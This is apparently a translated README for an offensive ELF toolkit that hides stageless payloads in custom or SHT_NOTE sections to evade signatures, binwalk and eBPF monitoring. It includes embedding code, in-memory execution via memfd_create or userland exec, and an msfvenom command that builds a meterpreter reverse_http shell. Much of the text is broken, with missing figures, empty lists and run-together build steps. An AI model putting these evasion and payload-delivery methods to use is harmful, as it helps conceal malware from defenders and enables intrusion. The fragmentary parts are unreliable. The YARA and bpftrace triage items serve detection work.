
Набор инструментов для стыковки секций ELF-бинарных файлов для доставки бесстадийных полезных нагрузок, обеспечивающий присоединение полезной нагрузки в полевых условиях, обход сигнатур и устойчивость к статической/динамической загрузке с помощью манипуляции пользовательскими секциями ELF.
.data.payload.h:
const data[3432] = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23
};
Достигается вручную или с помощью инструментов, таких как bin2c или xxd -i payload.bin > payload.h, с дальнейшим подключением заголовочного файла.
Хранение полезных нагрузок в .text и .data в общем виде также является плохой идеей из-за простоты отслеживания загрузки и анализа семантики поведения загружаемых данных для выполнения.
__attribute__. Это немного лучше, но всё ещё хорошо отслеживается из-за того, как ELF создаётся и загружается.char stack[10000] __attribute__ ((section ("binstack"))) = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;
main()
{
/* Initialize stack pointer */
init_sp (stack + sizeof (stack));
/* Initialize initialized data */
memcpy (&init_data, &data, &edata - &data);
}
Директива, аналогичная .incbin, зависящая от ассемблера, может создать секцию и встроить полезную нагрузку. Пример: gcc -c payload.s или ld -r -b payload.bin -o payload.o
.section .bindata
.global payload_start
.type payload_start, @object
.section .binddata
.balign 64
payload_start:
.incbin "payload.bin"
.balign 1
payload_end:
.byte 0
С последующим извлечением в загрузчике как:
int main(void) {
extern uint8_t payload_start;
uint8_t *ptrPayload = &payload_start;
...
}
Примечание: Мы можем включить полнофункциональный ELF в payload.bin, что важно при создании «жирных» бинарников, содержащих элементы нескольких тулкитов.
Примечание: Существуют более эргономичные инструменты для выполнения этой задачи, например INCBIN от @graphitemaster [link]
Вариация на тему — встроенный ассемблер, например так:
/* Raw image data for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) \
extern char embedded_image_ ## _index ## _data[]; \
extern char embedded_image_ ## _index ## _len[]; \
__asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t" \
"\nembedded_image_" #_index "_data:\n\t" \
".incbin \"" _path "\"\n\t" \
"\nembedded_image_" #_index "_end:\n\t" \
".equ embedded_image_" #_index "_len, " \
"( embedded_image_" #_index "_end - " \
" embedded_image_" #_index "_data )\n\t" \
".previous\n\t" );
EMBED_ALL
/* Image structures for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) { \
.refcnt = REF_INIT ( ref_no_free ), \
.name = _name, \
.data = ( userptr_t ) ( embedded_image_ ## _index ## _data ), \
.len = ( size_t ) embedded_image_ ## _index ## _len, \
},
static struct image embedded_images[] = {
EMBED_ALL
};
Примечание: Обратите внимание на PROGBITS в определении секции, это будет важно.
Включение бинарника полезной нагрузки через компилятор/компоновщик не идеально
Есть компромиссы:

Тип секции и флаги, установленные на новой секции, определяют, будет ли загрузчик ОС загружать её в память при запуске исполняемого файла. Некоторые секции загружаются автоматически по умолчанию, другие — нет (например, .symtab, .strtab)
С точки зрения атаки, какую эффективность мы можем из этого извлечь?
Мы можем избегать установки флагов на секции, которые предполагают загрузку в память по умолчанию.
Мы можем использовать другой тип секции, который не загружается в память.
Поставщику или системному инженеру может потребоваться пометить объектный файл специальной информацией, которую другие программы могут проверить на соответствие или совместимость. Секции типа
SHT_NOTEи элементы программного заголовка типаPT_NOTEмогут использоваться для этой цели.
В последнем случае мы можем увидеть использование этого типа секции в системных бинарниках:
$ readelf --sections /bin/tar | grep NOTE
[ 2] .note.gnu.bu[...] NOTE 00000000000002c4 000002c4
[ 3] .note.ABI-tag NOTE 00000000000002e8 000002e8
И можем проверить их содержимое:
$ readelf -p .note.ABI-tag /bin/tar
String dump of section '.note.ABI-tag':
[ c] GNU
Конечный результат создания секции SHT_NOTE в ELF будет выглядеть так:

Бонус: SHT_NOTE предоставляет нам структуру, если мы захотим её использовать (а мы будем использовать её далее):

До сих пор мы могли создать секцию и избежать её загрузки в память загрузчиком ОС. Секция фактически находится в спящем состоянии в образе ELF. Мы обсудим, как её загружать, немного позже. Однако более насущный вопрос заключается в том, что мы всё ещё работаем на уровне компилятора и компоновщика, и секция — это объект, который вплетается в структуру конечного ELF, создавая связи и адреса памяти из кода загрузчика, который ссылается на её содержимое.

Что, если бы мы могли создать секцию ELF со встроенной полезной нагрузкой вне процесса компиляции загрузчика и присоединить эту секцию позже к бинарнику загрузчика?
Это разорвало бы связь кода загрузчика с взаимодействием секции. Затем мы учим загрузчик находить и загружать его внешнюю секцию данных, фактически «стыкуя» полезную нагрузку с загрузчиком слабо связанным образом.
Концептуально наши цели будут:
Отношения загрузчик/полезная нагрузка (в секции) теперь будут выглядеть так:

Затем мы можем создать инжектор, который введёт секцию полезной нагрузки в загрузчик без работы на уровне кода, только на уровне двоичной совместимости (и при условии, что загрузчик знает, как загрузить любую секцию полезной нагрузки).

Некоторые результаты такой универсальной настройки стыковки секций ELF:
Давайте подробнее обсудим компоненты стыковки секций ELF.
Расположение: тыловое или полевое Преимущества:
Расположение: полевое Преимущества:
Преимущества:
Усиление секционного ELF-инжектора/упаковщика:
Усиление ELF-загрузчика:
Несколько слов о секционном ELF-загрузчике, работающем с запускателем полезной нагрузки:
Загрузчик может использовать один из двух механизмов выполнения полезной нагрузки в памяти:
Вариант A : SYS_Memfd_create ()
Вариант B: User land Exec (https://grugq.github.io/docs/ul_exec.txt)
Выполнение рабочего процесса:

Возможности обхода Binwalk после секционной полезной нагрузки ELF по сравнению с полезной нагрузкой MSF:

Обход eBPF против секционного упаковщика ELF:

Верификатор YARA и тесты:


Определение инструмента STIX:

cmake --configure . для настройки вашего окружения сборки. Мы поддерживаем CMake 3.18 на данный момент../build.shhttps://github.com/rapid7/mettlevendor/lib/reflect/libreflect.a, но может быть пересобрана из оригинального репозитория, если необходимо.bpftrace, пожалуйста, установите соответствующие заголовки ядра для вашего дистрибутива.run.shaux/msfrc следующим образом:msfconsole -r aux/triage/msfrc
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ../elfpack_staging/mettle-shell.elf
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
aux/triage/elfpack_yar.py./aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]